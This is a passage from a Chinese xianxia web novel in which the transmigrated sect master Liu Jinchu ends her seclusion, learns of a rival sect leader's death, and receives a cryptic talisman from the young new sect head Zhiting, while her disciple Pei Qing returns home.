她眨了下眼,再睁眼时,已回到了九妖山。 已是清晨,红日在树杈叶隙间若隐若现,照得人晃眼。再远瞧些,就能见水天上时而有卷云扬过。 今日的天很是不错。 柳今初心中很是平静,先是侧头看向了原先芷汀睡下的地方。 空荡荡的,布席翻折了一角,柳今初盯着那布席几秒,想象出芷汀匆忙起身的模样,有些不真切。 她们都是书中人,而她不是。 “灵符宗召她回去了,不必担忧。”身后传来青年淡然的声音,很熟悉,她方才才听过,就在耳畔。 “出了何事?”柳今初转身看向身后倚站着的青年徐徐道。 “夏侯宗主死了。” 柳今初听着他淡淡说出,深深看他一眼。 裴卿又好似也从未变过。 “裴卿,你也是仙界修者,不似我一介游修,”柳今初走近他,“怎会这样淡漠?” 柳今初走至离他还有两步远处停下,微扬起头看他。 “何为不淡漠?”裴卿迈步走近一步,此刻两人离得近,能感受到彼此起伏的呼吸声。 这一问倒是让柳今初无言相应了,要说做什么才能显得不淡漠她也知,但要剖开来说,她就说不清了。 好似她遇到的所有人骨子里都是淡漠的,还是她看得不对,柳今初分辨不清。 “那你可要回去?”柳今初本就知道裴卿出山历练是为了拼凑渡仙剑剑灵残魂,并非只是为了晋升增长修为。 不过她此刻忽略了一点,那便是魔族。 裴卿长成人后,学识也渐深,查出当年屠门的人是谁不难,只是要解开这恨结难。 他在心中积淤许久,思家是常有的事,但他不愿透露给任何人,仿若让人瞧见了他便会变成被人踩在脚下的污泥。 裴卿身侧的手收紧,感受到掌心的压触后又骤然松开。 可师尊看见了,也说出了。 那也是他应下的第一次。 师尊好似从未将他看作污泥。 可她好似待谁都如此,无论是其他人,还是她院内或后山的花木,她都珍视。 人人都能与她相近,万物都能在她掌下轻动,唯独他越追越远,离月越来越遥。 可裴卿问他自己,为何独他不能? 青年向后退开,抱着臂站直着身,搭在墨黑革皮护腕上的指摩挲着,指甲圆滑修整得只露出点细窄的白来。 “回去。”他薄唇轻启,抬眼看向同样看着自己的少女,眸色深沉。 “那你便去吧,我们,”柳今初看他一眼,被他身后升起的红日亮到了眼 ,微眯着眨了下才继续道:“今后有缘再见。” 柳今初不知裴卿会何时动身前往元剑宗。 但她知道按裴卿如今的实力,不出半日就能回到宗门,她眼下要做的就是先将自己的灵识恢复,以免让他瞧出不对来。 毕竟是他的及冠生辰,柳今初作为师尊还是要重视的。 这及冠生辰是凡间的说法,仙界本是不过的,但碍于这些前来修炼的弟子从前都是凡人,才来仙界不久,对凡间的说法还是极为重视的。 作为渡及众生,三界之首的仙界怎会不为他们着想。 于是乎这弟子的及冠及笄生辰之礼,是许多宗门长老所重视的。 门外弟子准许休沐三日,门内弟子则是准许在休沐三日时到其他宗门游逛。 这并非待门内外弟子有异,而是门外弟子大多不能顺利穿过其他宗门的结界,去了也是白走一遭。 而亲传弟子就要特殊许多了,除了也可休沐三日不用去学府和日常修炼外,他们的师尊大多会为他们办上生辰宴,时日也不长,一日便可完毕,且不占他们的休沐日。 这项重任就落到了柳今初头上,她这几日不太平,遇到的糟心事实在颇多,若不是记得裴卿的生辰将近,她恐怕是不会回宗门的。 毕竟夏侯商出了事,其他宗门长老自是十分在意的,就她还在“沉心闭关”属实有些说不过去,怕是还有人觉着是她所为。 想到此柳今初也是头疼,不知为何原主在仙界的名声会这般不堪,明明她本也是一介天才,自小天赋惊人,是实实在在的练剑之才。 只可惜她发现在闭关那几年,她从未找出过原主的剑,许是该说是有剑灵的剑。 原主资质过人,剑灵定然是会争着认主的,可事相反气运也背,柳宗主除了灵力颇深又有个掌门之位外再无其他令人羡叹之处。 可对于柳今初来说这足够了,够她潇洒千年万年了。 偏生她又背负丧命劫难,说命短柳今初自是愤懑不满的。 同裴卿道别后她便不再多留,先他一步离开了九妖山。 待几个时辰后,她便回到了元剑地。 灵识汇聚并不难,柳今初才与打坐在地的自己对视上,体内的灵识与余下的灵识便像是水珠相触一般,一瞬便粘连凝汇。 只是在灵识融合后,柳今初才感受到那超度般的感觉。 宛若光束真切地穿透了自己,而并非被自己的身躯拦下。 她就像是化作了天地之间的一方气,不断转动流淌,旁人却是毫无察觉,仿若她的流淌要化作风才能让人知晓。 从四肢漫上,攀上丰沛醇厚的灵气,柳今初微睁着眼,她能觉察到自己变回了原本的模样,此可元剑地也只有她一人伫立。 莹白流光似地灵气铺陈在地,尾端上卷,如浪花勾起,又似花瓣蜷起。 待四周气息平稳后,柳今初看清了暖色的砖瓦琉璃,铺陈在地的卷书,盈盈摇曳的烛火,高悬指天的塔尖。 无数修炼凝气带来的沉重疲惫感随后倾涌到眉心,书卷字句,灵气舒卷的画面交织脑海。 她觉得头痛欲裂,却是直直站着,强忍了几个时辰,沉心等着潮水退去再仰首呼吸。 看来这灵识分离的法子也并非那样好。 不过长痛不如短痛,柳今初扬唇淡笑,颊边梨涡轻现,黛眉如远山舒展山脊,视线愈加清明。 她如今到了渡劫期中期,离后期仅差一步。 可再走前一步,就是万丈深渊。 仙魔劫时,柳今初便是将近渡劫后期即将飞升了。 50. 第五十章 可事已至此,她除了往前抬步走走,又还能如何呢? 柳今初抬起手在空中轻轻挥动。 沉闷的扬门声盈盈入耳,淡浅的白光涌入这昏暖的空间。 光线将紧闭的石门推开了。 柳今初走出几步,身侧烈风呼啸,耳边的萧索声她不甚在意,只是直直看向不断向下延伸的青白阶梯。 仿若她昨日才走过这青白阶梯。 可事实不是这般模样的,她经历许多了,主灵识离开元剑地约莫已有三年了。 “这里仍旧是云雾缭绕啊。”柳今初喃喃一句,缓步迈向青白阶地。 她本是不用这般麻烦的,以她如今的修为,回到自己的住处仅需一刹,只要她眨眨眼的功夫便能实现。 可她就是想走完这漫漫长梯,她还不想太快离开只有自己一人的地方。 或许说,她还未准备好要如何面对他。 以师尊的身份。 柳今初轻抿唇,看着随步伐而轻扬的衣摆,一步一步向下走。 她出关时,元剑地便传来了强烈的灵气波动,纯粹无暇,仿若刚刚孕育出的天地灵气一般,不掺杂其他气息。 仅仅有她一人的气息萦绕其中,就好似这纯白的灵气只有栀子花的香味,而不见泥土与朽木的味道。 出关,天下知。 元剑宗除掌门外领头的,便是亲传弟子了,宁明对师尊的气息极为在意,毕竟身边忽然少了个看话本的伴,她可是日思夜想地等着师尊出关的。 不然她手上到了许久的最新话本就要旧了。 要知道在仙界,万物的生命都是被延长了的,这里是世上灵气最为丰裕的地方,若不是她整日翻来翻去折腾那话本,话本便是始终如一,无半点折痕的。 还未等柳今初从栀院阁换身衣裳出来,她出关的消息便从元剑宗传遍了其他宗门。 众弟子有的猜测出关是否与夏侯宗主有关,有的便是在讶然柳宗主出关竟与其亲传弟子归宗是同一日的事。 总之,整个仙界近几日遇到的事都是大事,先是灵符宗掌门夏侯商遇事芷汀师姐赶回,又是元剑宗掌门柳今初出关,再到在外历练三年便归宗的百里裴卿。 这些事陆续到来,有喜有悲,却是让不少弟子开始猜测近些日子可是遇到了什么,揣揣不安与猜忌观望充斥整个仙界。 柳今初换好一身较为正式的素色衣衫后便出了栀院阁,挥袖一瞬便来到了元剑宗殿堂内。 先前宁明便先行告知了她仙界近日发生的大事,又道:“师尊,宁明先为您召开出关会吧,还有便是灵符宗……新任掌门芷汀宗主求见您。” 柳今初对于芷汀求见她这一事并无惊讶。 毕竟先前纵观整个仙界,也就只有元剑宗和灵符宗派势最大,手下出色的弟子最多,她一介新任掌门自是能求助高门便是要求助高门的。 只是此刻柳今初更觉忧伤,并非是因为夏侯商的仙逝,她本就与他并无瓜葛,而夏侯商本身也并非善类。 不过她也并非在为这突然的变故而忧虑,而是在替芷汀忧伤。 她年纪尚小,资质也还浅着,如今失去了师父,身旁的师兄师姐资质又不胜她,处理宗门之事便是极为困难的。 柳今初不知是在唏嘘还是哀叹,垂眸点头,示意宁明道:“出关会之事不必办了,告知众弟子按常例修炼。” 过了片刻,柳今初抬起头,望向殿堂敞开的高门,那里没有人,门内弟子已经离开了,此刻殿堂内也空荡荡的,除了宁明和进勉便是她了。 但柳今初知道,裴卿已到了宗门之外,但他并未走有元剑宗三字的石门,也未走别处的路,而是走了她后山的那条石子路。 “是。”宁明行礼应下,做完才悄悄看座上半倚坐着的女子。 青丝如瀑,潺潺铺肩,黛眉杏眸,半敛远视殿门,玉手撑着一侧素脸,指骨明显。 她许久未见师尊了,现在再见却是觉得师尊心事重重,面上的凝重与身上散出的淡雅悠然交织,让她觉着师尊好似变了许多。 就仿若历经沧海桑田了那般,只是她身上的闲适之意还未褪去。 柳今初让两人退下后,仍是没动,半倚半坐,等着芷汀前来。 她自是知道裴卿不会立即来这里找她的,他此刻停在了后山,在丁香花丛里。 他知道此刻不该来找她,柳今初本是觉得裴卿应是在体谅自己,毕竟此刻定是有许多人要求见她的。 裴卿向来不喜欢麻烦别人,他不愿落了人情,更不愿麻烦她。 可自从鸷同柳今初说明了裴卿的执念为何后,柳今初就不止这般猜想了。 只是她还不敢认,也不知裴卿为何会心悦她,甚至到了。 执念的地步。 她本是以为裴卿的执念是报仇雪恨,将杀父弑母的仇家千刀万剐。 可却不是这样。 但柳今初知道,裴卿重情重义,出山历练也是为了寻出这仇家的踪迹,绝不仅是为了增长修为。 “柳宗主,芷汀求见。” 一道清脆的女声在空阔的殿堂内响起。 柳今初将收回的目光重新投向敞开的殿门,门正中央站着一位衣着与她相似的少女。 她仍稚气未脱,这身庄重的锦纹素衣在她身上有些突兀,虽说是好看的,可柳今初怎么看都觉得这衣裳都不衬她。 好似一身精锐的将领金甲,却是披在了刚征来的士兵身上。 可这不是在说芷汀站不稳这掌门之位,相反,灵符宗掌门之位就该是她的。 只是如今时机未到。或许应说,这是突变的事,才让这一切都看着那样别扭。 “你如今已是灵符宗掌门,不必这样毕恭毕敬。”柳今初看她回道。 柳今初本就不习惯这些尊卑秩序,这么多年来,她唯独没适应这个。 每每有人恭敬地向她行礼,她总觉着心中很是不舒服,仿若有根刺穿藏在里头,她偏偏就是拔不出来。 “柳宗主,弟子、我有一物要给你。”芷汀几步走上前。 柳今初看着她瘦削的身子想伸出手扶住她,但芷汀却是先她一步站定在她身侧,腕骨转动,掌心处便出现了一张淡黄的符纸。 上面的字迹沉稳凝重,一笔一画都如刀锋刻划出的那般锋利,通体鲜红,在淡黄偏灰的粗质符 纸上显得尤为突兀。 好似那红墨未曾附着在符纸上,而是半扬空中,又好似要挣脱出符纸一般。 总之很是狰狞。 柳今初头一回在纸上看道让她觉得狰狞可怖的字。 她一字一句慢慢看去,视线移得很慢。 上面赫然写着“事与愿违,可曾悔恨。”这八字。 看她面色凝重极了,细眉蹙起,敛着眸默声不语,芷汀便开了口,声音中带着急切。 可她却又是压着自己的急迫,轻声问出口:“柳宗主,你可是看懂了什么?” 柳今初思绪被她急切的声音拉回,茫然抬眸瞧她。 什么叫她可是看懂了什么? 黄纸红字,这是符纸。作为符修,芷汀应是要比她更懂才是。 “你,不知上面是什么?”柳今初站起身,将符纸转向她。 只见少女摇头,桃花眼中的迷茫慌张明显。 “那你可告知我上面写了什么?”芷汀见柳今初这样答,赶忙追问。 柳今初不答她,倒是启唇问:“这张符纸,是何人给你的?” 芷汀听了她的话才是反应过来,赶忙解释:“是我师尊留下的,他留下了留音符,告知我要将这符纸给你。我瞧了许久也看不懂上面写了些什么,觉着怪异,得知你出关便匆匆来寻你,一时就忘了同你说此事。” 芷汀几句解释完,微喘着气,看着紧张极了,向柳今初投来的目光愈发急切,触到那符纸的手也微微颤着。 “无妨。”柳今初只答道一句,便无下文。 她总觉着这八个字,不该告诉别人,至于缘由,她说不清。 见柳今初并无要告知她符纸上究竟写了什么的意思,芷汀也不在追问。 她虽与柳宗主接触不多,但却是知道她对于自己不愿说的不愿做的,向来是绝不会说也不会做的。 有时竟然也与裴卿有些相像,不过应说是裴卿像柳宗主,毕竟裴卿才是徒弟。 柳今初本想问问夏侯商的事,可若是要问出口,她又不知该怎么说了,只微张了张唇又合上,看少女一眼。 “我前来求见你便是为了此事,若你无事寻我,我便回宗门了。”芷汀思绪也乱得很,宗门内还有许多要是要她亲自操劳。 只是她走出殿门的步伐虚浮,仿若随时会站不住脚一般,亦步亦趋离了元剑宗。 柳今初将那符纸收好,放入储物空间后还觉得指尖残余着那粗粝符纸的触感,像是那符纸黏在了她指尖上。 柳今初皱眉,瞧了自己的手一眼,轻叹出一口气。 近来事情颇多,纵使她修为再高也觉得疲累极了。 又坐回榻座上,她轻抚自己的长发,目光投向殿门外,望着一方弟子住所,高堂交错,青翠山色则在后方。 柳今初闭上眼,长睫垂下,如羽纱。 再睁开杏眸,视线还未清明,一抹浅青便落入眸中。 这里栀子花甜淡,朵朵微张,芳香馥郁,是她的院子。 柳今初没有抬眼看躬身行礼的青年,只在想,他何时换去了那身墨衣的。 “徒儿百里裴卿见过师尊。”